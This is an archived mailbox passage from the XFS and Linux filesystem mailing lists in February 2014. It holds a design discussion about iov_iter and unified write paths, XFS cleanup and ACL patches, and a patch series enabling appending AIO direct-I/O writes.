X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WAhke-0006zw-NF; Tue, 04 Feb 2014 15:17:28 +0000 Date: Tue, 4 Feb 2014 15:17:28 +0000 From: Al Viro To: Kent Overstreet Cc: Linus Torvalds , Christoph Hellwig , Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel , xfs@oss.sgi.com, Sage Weil , Steve French , Anton Altaparmakov , Zach Brown , Dave Kleikamp Subject: Re: [RFC] unifying write variants for filesystems Message-ID: <20140204151728.GH10323@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: [RFC] unifying write variants for filesystems References: <20140118074649.GF10323@ZenIV.linux.org.uk> <20140118201031.GI10323@ZenIV.linux.org.uk> <20140119051335.GN10323@ZenIV.linux.org.uk> <20140120135514.GA21567@infradead.org> <20140201224301.GS10323@ZenIV.linux.org.uk> <52EFC271.3090205@oracle.com> <20140204124409.GG10323@ZenIV.linux.org.uk> <20140204125220.GB12440@kmo-pixel> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140204125220.GB12440@kmo-pixel> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1391527060 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144827 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 04, 2014 at 04:52:20AM -0800, Kent Overstreet wrote: > I'm on vacation in Switzerland, didn't bring my adderall, and > direct-io.c makes my head hurt at the best of times, but - have a look > at my in-progress dio rewrite: > > http://evilpiepirate.org/git/linux-bcache.git/commit/?h=block_stuff&id=ca09c20f08efd640f255fabd778de0dbf43ed1da > > Where I'm headed with things is to just start out by allocating bios and > pinning pages into them, and _then_ doing all the fun "ask the > filesystem where it goes and what to do with it" dance. The goal is to > push the bios as far up the stack as possible. How far would that be? E.g. for something like NFS it would be completely wrong. AFAICS, what you are doing there isn't incompatible with what I described; bio_get_user_pages() would just use that primitive (in fact, the loop in it is a damn good starting point for implementation of that primitive for iovec-based instances of iov_iter). I'm not too fond of the names, TBH - it might make sense to rename iov_iter to something like mem_stream; maybe even leave iov_iter as-is for whatever users might remain, but for now I don't see any that would fundamentally depend on the thing being iovev-backed... And bio_vec is a bad misnomer - it's not related to block subsystem at all. Sure, it had originated there, but... Hell knows; by now it's probably too much PITA to rename (we have about half a thousand instances in the tree). Pity, that... I definitely don't buy "bio is a natural object for carrying an array of pieces of pages"; not sure if that's what you implied in earlier thread, but it has too much baggage from block subsystem *and* it lacks the things we may want to associate with individual elements of such array (starting with "how can I steal that page?" method). I'm not sure if you'd been reading that thread back when it started; my interest in that thing is mostly because I want to get rid of duplication (and inconsistencies) between ->aio_write() and ->splice_write(). I hadn't been watching the threads around iov_iter last year; hch has pointed to those when I proposed to use an object that could carry both iovec and (possibly extended) analog of bio_vec and make generic_file_aio_write() et.al. agnostic wrt what's behind that object. Then we could use the same method to implement both ->aio_write() and ->splice_write() in a lot of cases. iov_iter is a good starting point for such object, and for now I'm mostly doing stuff that encapsulates the knowledge of its guts (including "there's an iovec behind it"). Those cleanups aside (and they make sense on their own, regardless of where the rest goes), it might make sense to add a copy of struct iov_iter that would have a tagged union in it (originally just for iovec, with IOVEC_READ/IOVEC_WRITE as possible tags) and switch a bunch of places that do not look into the guts of iov_iter to that thing. I'm not sure if there will be any other places left (so far it looks like we'll be able to get away with a reasonable set of primitives), but... we'll see. For now the whole thing is fairly experimental and it will almost certainly be reordered, etc. quite a few times. I'm trying to keep the part of queue in vfs.git#iov_iter more or less stable (with a lot of stuff in flux sitting in the local one), but it's not at the state where I'd recommend merges from it; there will be rebases, etc. BTW, folks, any suggestions about the name of that "memory stream" thing? struct iov_iter really implies iterator for iovec and more generic name would probably be better... struct mem_stream would probably do if nobody comes up with better variant, but it's long and somewhat clumsy... From jeff.liu@oracle.com Tue Feb 4 09:25:31 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1640D7F51 for ; Tue, 4 Feb 2014 09:25:31 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 02704304071 for ; Tue, 4 Feb 2014 07:25:27 -0800 (PST) X-ASG-Debug-ID: 1391527526-04cb6c6de2f1870001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id fsnuikyoQfbVWMPB (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 04 Feb 2014 07:25:26 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s14FPPaq023999 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 4 Feb 2014 15:25:26 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s14FPOiY007471 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 4 Feb 2014 15:25:25 GMT Received: from abhmp0003.oracle.com (abhmp0003.oracle.com [141.146.116.9]) by userz7022.oracle.com (8.14.5+Sun/8.14.4) with ESMTP id s14FPOHo006116 for ; Tue, 4 Feb 2014 15:25:24 GMT Received: from [192.168.1.101] (/112.238.69.9) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 04 Feb 2014 07:25:24 -0800 Message-ID: <52F1065F.8040904@oracle.com> Date: Tue, 04 Feb 2014 23:25:19 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH] xfs: remove XFS_TRANS_DEBUG dead code Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH] xfs: remove XFS_TRANS_DEBUG dead code Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1391527526 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144828 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Remove the leftover XFS_TRANS_DEBUG dead code following the previous cleaning up of it in commits ec47eb6b0b450. Signed-off-by: Jie Liu --- fs/xfs/xfs_buf_item.c | 19 ------------------- 1 file changed, 19 deletions(-) diff --git a/fs/xfs/xfs_buf_item.c b/fs/xfs/xfs_buf_item.c index 3314911..8752821 100644 --- a/fs/xfs/xfs_buf_item.c +++ b/fs/xfs/xfs_buf_item.c @@ -796,20 +796,6 @@ xfs_buf_item_init( bip->bli_formats[i].blf_map_size = map_size; } -#ifdef XFS_TRANS_DEBUG - /* - * Allocate the arrays for tracking what needs to be logged - * and what our callers request to be logged. bli_orig - * holds a copy of the original, clean buffer for comparison - * against, and bli_logged keeps a 1 bit flag per byte in - * the buffer to indicate which bytes the callers have asked - * to have logged. - */ - bip->bli_orig = kmem_alloc(BBTOB(bp->b_length), KM_SLEEP); - memcpy(bip->bli_orig, bp->b_addr, BBTOB(bp->b_length)); - bip->bli_logged = kmem_zalloc(BBTOB(bp->b_length) / NBBY, KM_SLEEP); -#endif - /* * Put the buf item into the list of items attached to the * buffer at the front. @@ -957,11 +943,6 @@ STATIC void xfs_buf_item_free( xfs_buf_log_item_t *bip) { -#ifdef XFS_TRANS_DEBUG - kmem_free(bip->bli_orig); - kmem_free(bip->bli_logged); -#endif /* XFS_TRANS_DEBUG */ - xfs_buf_item_free_format(bip); kmem_zone_free(xfs_buf_item_zone, bip); } -- 1.8.3.2 From BATV+cce6228de0c429a25e5b+3817+infradead.org+hch@bombadil.srs.infradead.org Tue Feb 4 09:51:58 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 477707F51 for ; Tue, 4 Feb 2014 09:51:58 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1F9718F8039 for ; Tue, 4 Feb 2014 07:51:58 -0800 (PST) X-ASG-Debug-ID: 1391529116-04cbb00c29ee2a0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id cxzhreZr1cO5HhZN (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 04 Feb 2014 07:51:57 -0800 (PST) X-Barracuda-Envelope-From: BATV+cce6228de0c429a25e5b+3817+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WAiI0-00010k-Il; Tue, 04 Feb 2014 15:51:56 +0000 Date: Tue, 4 Feb 2014 07:51:56 -0800 From: Christoph Hellwig To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH] xfs: return -E2BIG if hit the maximum size limits of ACLs Message-ID: <20140204155156.GA3810@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs: return -E2BIG if hit the maximum size limits of ACLs References: <52EBB032.8070306@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52EBB032.8070306@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1391529117 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144828 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Jan 31, 2014 at 10:16:18PM +0800, Jeff Liu wrote: > From: Jie Liu > > We should return -E2BIG rather than -EINVAL if hit the maximum size > limits of ACLS, as the former is consistent with VFS xattr syscalls. Looks good, Reviewed-by: Christoph Hellwig You were already working on tests for this area, right? From cattelan@thebarn.com Tue Feb 4 10:06:32 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 33B877F51 for ; Tue, 4 Feb 2014 10:06:32 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 12005304077 for ; Tue, 4 Feb 2014 08:06:28 -0800 (PST) X-ASG-Debug-ID: 1391529986-04cb6c6de1f5200001-NocioJ Received: from x.digitalelves.com (x.digitalelves.com [209.98.77.55]) by cuda.sgi.com with ESMTP id lOu1rmkKVJf5EK46 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 04 Feb 2014 08:06:26 -0800 (PST) X-Barracuda-Envelope-From: cattelan@thebarn.com X-Barracuda-Apparent-Source-IP: 209.98.77.55 Received: from digital-elf.local (localhost [127.0.0.1]) (authenticated bits=0) by x.digitalelves.com (8.14.6/8.14.6) with ESMTP id s14G6Pf7095022; Tue, 4 Feb 2014 10:06:25 -0600 (CST) (envelope-from cattelan@thebarn.com) Message-ID: <52F10FFF.8090009@thebarn.com> Date: Tue, 04 Feb 2014 10:06:23 -0600 From: Russell Cattelan User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: xfs.org wiki is down References: <20140204081546.GB13997@dastard> X-ASG-Orig-Subj: Re: xfs.org wiki is down In-Reply-To: <20140204081546.GB13997@dastard> X-Enigmail-Version: 1.5.2 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="qVbqMgoonvv1MpRcPxHUJrEEvBQCf6vsD" X-Barracuda-Connect: x.digitalelves.com[209.98.77.55] X-Barracuda-Start-Time: 1391529986 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144828 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 BSF_SC0_SA085 Custom Rule SA085 This is an OpenPGP/MIME signed message (RFC 4880 and 3156) --qVbqMgoonvv1MpRcPxHUJrEEvBQCf6vsD Content-Type: multipart/mixed; boundary="------------080907030408000500080009" This is a multi-part message in MIME format. --------------080907030408000500080009 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable On 2/4/14, 2:15 AM, Dave Chinner wrote: > Hi Russell, >=20 > I just went to look at the xfs.org wiki and all I get from xfs.org > "not found" errors. e.g http://xfs.org/index.php/Main_Page gives: >=20 > Not Found >=20 > The requested URL /index.php/Main_Page was not found on this server. Opps my bad -- I accidentally ended up replacing the a symlink with directory. I was staging some upgrades and rsync the tree over which ended up doing the replace. Sym link is restored. -Russell >=20 > So it looks like something has been broken in the past couple of > hours. Any idea what has happened? >=20 > Cheers, >=20 > Dave. >=20 --------------080907030408000500080009 Content-Type: text/x-vcard; charset=utf-8; name="cattelan.vcf" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="cattelan.vcf" begin:vcard fn:Russell Cattelan n:Cattelan;Russell org:Digital Elves Inc adr:;;2824 Lakeview Ave;Roseville;MN;55113;usa email;internet:cattelan@digitalelves.com tel;work:612 293 6009 tel;cell:612 805 3144 x-mozilla-html:FALSE url:http://digitalelves.com version:2.1 end:vcard --------------080907030408000500080009-- --qVbqMgoonvv1MpRcPxHUJrEEvBQCf6vsD Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.5 (Darwin) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iD8DBQFS8RADNRmM+OaGhBgRAvDvAJ9SoTpQ28G9seRz30u8aukEyzIFAwCgglKI NEzhxkULHbM6kJBDQancOWg= =bXQW -----END PGP SIGNATURE----- --qVbqMgoonvv1MpRcPxHUJrEEvBQCf6vsD-- From BATV+cce6228de0c429a25e5b+3817+infradead.org+hch@bombadil.srs.infradead.org Tue Feb 4 11:25:21 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 031F47F51 for ; Tue, 4 Feb 2014 11:25:21 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id DBFBD304090 for ; Tue, 4 Feb 2014 09:25:20 -0800 (PST) X-ASG-Debug-ID: 1391534716-04bdf0122010ad00001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id 6QVc5R86xLlvfr70 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 04 Feb 2014 09:25:16 -0800 (PST) X-Barracuda-Envelope-From: BATV+cce6228de0c429a25e5b+3817+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WAjkK-00018P-D4; Tue, 04 Feb 2014 17:25:16 +0000 Message-Id: <20140204172402.380571745@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Tue, 04 Feb 2014 09:24:02 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org Cc: Sergey Meirovich Subject: [PATCH 0/3] support appending AIO writes X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-ASG-Orig-Subj: [PATCH 0/3] support appending AIO writes X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1391534716 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144830 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 At least XFS can support appending AIO writes easily, and Sergey has demonstrated a use case for them. I've not done any performance testing myself, but ensured that xfstests already exercises the code path. From BATV+cce6228de0c429a25e5b+3817+infradead.org+hch@bombadil.srs.infradead.org Tue Feb 4 11:25:21 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 53C9F7F53 for ; Tue, 4 Feb 2014 11:25:21 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0113DAC003 for ; Tue, 4 Feb 2014 09:25:20 -0800 (PST) X-ASG-Debug-ID: 1391534716-04bdf0121f10ad00001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id h8aYfobZzVeZL81M (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 04 Feb 2014 09:25:16 -0800 (PST) X-Barracuda-Envelope-From: BATV+cce6228de0c429a25e5b+3817+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WAjkK-00019d-Od; Tue, 04 Feb 2014 17:25:16 +0000 Message-Id: <20140204172516.641738827@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Tue, 04 Feb 2014 09:24:04 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org Cc: Sergey Meirovich Subject: [PATCH 2/3] xfs: always use unwritten extents for direct I/O writes References: <20140204172402.380571745@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 2/3] xfs: always use unwritten extents for direct I/O writes Content-Disposition: inline; filename=0002-xfs-always-use-unwritten-extents-for-direct-I-O-writ.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1391534716 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144830 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 To allow aio writes beyond i_size we need to create unwritten extents for newly allocated blocks, similar to how we already do inside i_size. Instead of adding another special case we now use unwritten extents unconditionally. This also marks the end of directly allocation data extents in all of XFS - we now always use either delalloc or unwritten extents. Signed-off-by: Christoph Hellwig --- fs/xfs/xfs_iomap.c | 10 +++------- 1 file changed, 3 insertions(+), 7 deletions(-) diff --git a/fs/xfs/xfs_iomap.c b/fs/xfs/xfs_iomap.c index 22d1cbe..3b80eba 100644 --- a/fs/xfs/xfs_iomap.c +++ b/fs/xfs/xfs_iomap.c @@ -128,7 +128,6 @@ xfs_iomap_write_direct( xfs_fsblock_t firstfsb; xfs_extlen_t extsz, temp; int nimaps; - int bmapi_flag; int quota_flag; int rt; xfs_trans_t *tp; @@ -200,18 +199,15 @@ xfs_iomap_write_direct( xfs_trans_ijoin(tp, ip, 0); - bmapi_flag = 0; - if (offset < XFS_ISIZE(ip) || extsz) - bmapi_flag |= XFS_BMAPI_PREALLOC; - /* * From this point onwards we overwrite the imap pointer that the * caller gave to us. */ xfs_bmap_init(&free_list, &firstfsb); nimaps = 1; - error = xfs_bmapi_write(tp, ip, offset_fsb, count_fsb, bmapi_flag, - &firstfsb, 0, imap, &nimaps, &free_list); + error = xfs_bmapi_write(tp, ip, offset_fsb, count_fsb, + XFS_BMAPI_PREALLOC, &firstfsb, 0, + imap, &nimaps, &free_list); if (error) goto out_bmap_cancel; -- 1.7.10.4 From BATV+cce6228de0c429a25e5b+3817+infradead.org+hch@bombadil.srs.infradead.org Tue Feb 4 11:25:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 640A17F51 for ; Tue, 4 Feb 2014 11:25:22 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 01C4DAC003 for ; Tue, 4 Feb 2014 09:25:18 -0800 (PST) X-ASG-Debug-ID: 1391534716-04cbb00c29f7000001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id 6Hi8otPwcU9eSTip (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 04 Feb 2014 09:25:17 -0800 (PST) X-Barracuda-Envelope-From: BATV+cce6228de0c429a25e5b+3817+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WAjkK-000191-Il; Tue, 04 Feb 2014 17:25:16 +0000 Message-Id: <20140204172516.456901390@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Tue, 04 Feb 2014 09:24:03 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org Cc: Sergey Meirovich Subject: [PATCH 1/3] direct-io: add flag to allow aio writes beyond i_size References: <20140204172402.380571745@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 1/3] direct-io: add flag to allow aio writes beyond i_size Content-Disposition: inline; filename=0001-direct-io-add-flag-to-allow-aio-writes-beyond-i_size.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1391534717 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144830 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Some filesystems can handle direct I/O writes beyond i_size safely, so allow them to opt into receiving them. Signed-off-by: Christoph Hellwig --- fs/direct-io.c | 18 ++++++++++++------ include/linux/fs.h | 3 +++ 2 files changed, 15 insertions(+), 6 deletions(-) diff --git a/fs/direct-io.c b/fs/direct-io.c index 0e04142..11882e8 100644 --- a/fs/direct-io.c +++ b/fs/direct-io.c @@ -1194,13 +1194,19 @@ do_blockdev_direct_IO(int rw, struct kiocb *iocb, struct inode *inode, } /* - * For file extending writes updating i_size before data - * writeouts complete can expose uninitialized blocks. So - * even for AIO, we need to wait for i/o to complete before - * returning in this case. + * For file extending writes updating i_size before data writeouts + * complete can expose uninitialized blocks in dumb filesystems. + * In that case we need to wait for I/O completion even if asked + * for an asynchronous write. */ - dio->is_async = !is_sync_kiocb(iocb) && !((rw & WRITE) && - (end > i_size_read(inode))); + if (is_sync_kiocb(iocb)) + dio->is_async = false; + else if (!(dio->flags & DIO_ASYNC_EXTEND) && + (rw & WRITE) && end > i_size_read(inode)) + dio->is_async = false; + else + dio->is_async = true; + dio->inode = inode; dio->rw = rw; diff --git a/include/linux/fs.h b/include/linux/fs.h index 121f11f..f8416fd 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -2526,6 +2526,9 @@ enum { /* filesystem does not support filling holes */ DIO_SKIP_HOLES = 0x02, + + /* filesystem can handle aio writes beyond i_size */ + DIO_ASYNC_EXTEND = 0x04, }; void dio_end_io(struct bio *bio, int error); -- 1.7.10.4 From BATV+cce6228de0c429a25e5b+3817+infradead.org+hch@bombadil.srs.infradead.org Tue Feb 4 11:25:21 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 095FA7F52 for ; Tue, 4 Feb 2014 11:25:21 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id E9A6B304092 for ; Tue, 4 Feb 2014 09:25:20 -0800 (PST) X-ASG-Debug-ID: 1391534717-04cbb00c28f7000001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id 8LtBbeDrMuTsqZWA (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 04 Feb 2014 09:25:17 -0800 (PST) X-Barracuda-Envelope-From: 